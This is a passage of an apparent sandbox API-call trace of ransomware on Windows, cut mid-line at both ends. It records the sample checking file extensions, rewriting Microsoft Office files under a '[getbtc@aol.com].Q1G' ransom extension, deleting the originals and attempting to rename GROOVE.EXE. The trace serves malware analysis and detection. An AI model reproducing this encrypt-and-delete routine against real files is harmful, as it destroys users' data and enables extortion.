(lpString1=".pdf", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".xls") returned 4 [0265.582] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".xlsx") returned 5 [0265.582] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0265.582] lstrlenW (lpString=".ppt") returned 4 [0265.582] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString=".zip") returned 4 [0265.582] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".rar") returned 4 [0265.582] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".bz2") returned 4 [0265.582] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.582] lstrlenW (lpString=".7z") returned 3 [0265.582] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString=".dbf") returned 4 [0265.582] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString=".1cd") returned 4 [0265.582] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString=".jpg") returned 4 [0265.582] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.582] lstrlenW (lpString=".doc") returned 4 [0265.582] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.582] lstrlenW (lpString=".docx") returned 5 [0265.582] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0265.582] lstrlenW (lpString=".pdf") returned 4 [0265.582] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".xls") returned 4 [0265.582] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.582] lstrlenW (lpString=".xlsx") returned 5 [0265.582] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0265.583] lstrlenW (lpString=".ppt") returned 4 [0265.583] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.583] lstrlenW (lpString=".zip") returned 4 [0265.583] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.583] lstrlenW (lpString=".rar") returned 4 [0265.583] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.583] lstrlenW (lpString=".bz2") returned 4 [0265.583] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.583] lstrlenW (lpString=".7z") returned 3 [0265.583] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.583] lstrlenW (lpString=".dbf") returned 4 [0265.583] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.583] lstrlenW (lpString=".1cd") returned 4 [0265.583] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.583] lstrlenW (lpString=".jpg") returned 4 [0265.583] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.583] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.583] lstrlenW (lpString="OUTGOING.ICO") returned 12 [0265.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.584] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1718) returned 1 [0265.584] CloseHandle (hObject=0x388) returned 1 [0265.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico")) returned 0x20 [0265.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.585] GetLastError () returned 0x0 [0265.585] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6b6, lpOverlapped=0x0) returned 1 [0265.707] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0265.708] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.708] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.708] SetEndOfFile (hFile=0x1b8) returned 1 [0265.708] CloseHandle (hObject=0x1b8) returned 1 [0265.708] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.709] SetEndOfFile (hFile=0x388) returned 1 [0265.710] CloseHandle (hObject=0x388) returned 1 [0265.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico")) returned 1 [0265.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.800] lstrlenW (lpString=".doc") returned 4 [0265.800] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.800] lstrlenW (lpString=".docx") returned 5 [0265.800] lstrcmpiW (lpString1=".docx", lpString2="G.ICO") returned -1 [0265.800] lstrlenW (lpString=".pdf") returned 4 [0265.800] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.800] lstrlenW (lpString=".xls") returned 4 [0265.800] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.800] lstrlenW (lpString=".xlsx") returned 5 [0265.800] lstrcmpiW (lpString1=".xlsx", lpString2="G.ICO") returned -1 [0265.800] lstrlenW (lpString=".ppt") returned 4 [0265.800] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.800] lstrlenW (lpString=".zip") returned 4 [0265.800] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.800] lstrlenW (lpString=".rar") returned 4 [0265.800] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.800] lstrlenW (lpString=".bz2") returned 4 [0265.801] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.801] lstrlenW (lpString=".7z") returned 3 [0265.801] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString=".dbf") returned 4 [0265.801] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString=".1cd") returned 4 [0265.801] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString=".jpg") returned 4 [0265.801] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString=".doc") returned 4 [0265.801] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.801] lstrlenW (lpString=".docx") returned 5 [0265.801] lstrcmpiW (lpString1=".docx", lpString2="G.ICO") returned -1 [0265.801] lstrlenW (lpString=".pdf") returned 4 [0265.801] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString=".xls") returned 4 [0265.801] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString=".xlsx") returned 5 [0265.801] lstrcmpiW (lpString1=".xlsx", lpString2="G.ICO") returned -1 [0265.801] lstrlenW (lpString=".ppt") returned 4 [0265.801] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.801] lstrlenW (lpString=".zip") returned 4 [0265.801] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString=".rar") returned 4 [0265.801] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.801] lstrlenW (lpString=".bz2") returned 4 [0265.801] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.801] lstrlenW (lpString=".7z") returned 3 [0265.801] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.802] lstrlenW (lpString=".dbf") returned 4 [0265.802] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.802] lstrlenW (lpString=".1cd") returned 4 [0265.802] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO") returned 72 [0265.802] lstrlenW (lpString=".jpg") returned 4 [0265.802] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.802] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.802] lstrlenW (lpString="StatusOnline.ico") returned 16 [0265.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.802] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2862) returned 1 [0265.802] CloseHandle (hObject=0x390) returned 1 [0265.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico")) returned 0x20 [0265.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.803] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.803] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.804] GetLastError () returned 0x0 [0265.804] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.808] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.809] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.809] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0265.809] SetEndOfFile (hFile=0x1bc) returned 1 [0265.811] CloseHandle (hObject=0x1bc) returned 1 [0265.811] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.811] SetEndOfFile (hFile=0x390) returned 1 [0265.817] CloseHandle (hObject=0x390) returned 1 [0265.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico")) returned 1 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.860] lstrlenW (lpString=".doc") returned 4 [0265.860] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.860] lstrlenW (lpString=".docx") returned 5 [0265.860] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.860] lstrlenW (lpString=".pdf") returned 4 [0265.860] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.860] lstrlenW (lpString=".xls") returned 4 [0265.861] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString=".xlsx") returned 5 [0265.861] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.861] lstrlenW (lpString=".ppt") returned 4 [0265.861] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString=".zip") returned 4 [0265.861] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString=".rar") returned 4 [0265.861] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString=".bz2") returned 4 [0265.861] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.861] lstrlenW (lpString=".7z") returned 3 [0265.861] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString=".dbf") returned 4 [0265.861] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString=".1cd") returned 4 [0265.861] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString=".jpg") returned 4 [0265.861] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.861] lstrlenW (lpString=".doc") returned 4 [0265.861] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.861] lstrlenW (lpString=".docx") returned 5 [0265.861] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.861] lstrlenW (lpString=".pdf") returned 4 [0265.861] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString=".xls") returned 4 [0265.861] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.861] lstrlenW (lpString=".xlsx") returned 5 [0265.861] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.861] lstrlenW (lpString=".ppt") returned 4 [0265.862] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.862] lstrlenW (lpString=".zip") returned 4 [0265.862] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.862] lstrlenW (lpString=".rar") returned 4 [0265.862] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.862] lstrlenW (lpString=".bz2") returned 4 [0265.862] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.862] lstrlenW (lpString=".7z") returned 3 [0265.862] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.862] lstrlenW (lpString=".dbf") returned 4 [0265.862] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.862] lstrlenW (lpString=".1cd") returned 4 [0265.862] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned 76 [0265.862] lstrlenW (lpString=".jpg") returned 4 [0265.862] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.862] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0265.862] lstrlenW (lpString="GROOVE.EXE") returned 10 [0265.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.863] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=51456888) returned 1 [0265.863] CloseHandle (hObject=0x360) returned 1 [0265.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe")) returned 0x20 [0265.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0265.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.863] lstrlenW (lpString=".doc") returned 4 [0265.863] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.863] lstrlenW (lpString=".docx") returned 5 [0265.863] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0265.863] lstrlenW (lpString=".pdf") returned 4 [0265.863] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.863] lstrlenW (lpString=".xls") returned 4 [0265.863] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.863] lstrlenW (lpString=".xlsx") returned 5 [0265.863] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0265.863] lstrlenW (lpString=".ppt") returned 4 [0265.863] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".zip") returned 4 [0265.864] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".rar") returned 4 [0265.864] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".bz2") returned 4 [0265.864] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.864] lstrlenW (lpString=".7z") returned 3 [0265.864] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".dbf") returned 4 [0265.864] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".1cd") returned 4 [0265.864] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".jpg") returned 4 [0265.864] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".doc") returned 4 [0265.864] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.864] lstrlenW (lpString=".docx") returned 5 [0265.864] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0265.864] lstrlenW (lpString=".pdf") returned 4 [0265.864] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".xls") returned 4 [0265.864] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".xlsx") returned 5 [0265.864] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0265.864] lstrlenW (lpString=".ppt") returned 4 [0265.864] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.864] lstrlenW (lpString=".zip") returned 4 [0265.864] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".rar") returned 4 [0265.864] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.864] lstrlenW (lpString=".bz2") returned 4 [0265.865] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.865] lstrlenW (lpString=".7z") returned 3 [0265.865] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.865] lstrlenW (lpString=".dbf") returned 4 [0265.865] lstrcmpiW (lpString1=".dbf", 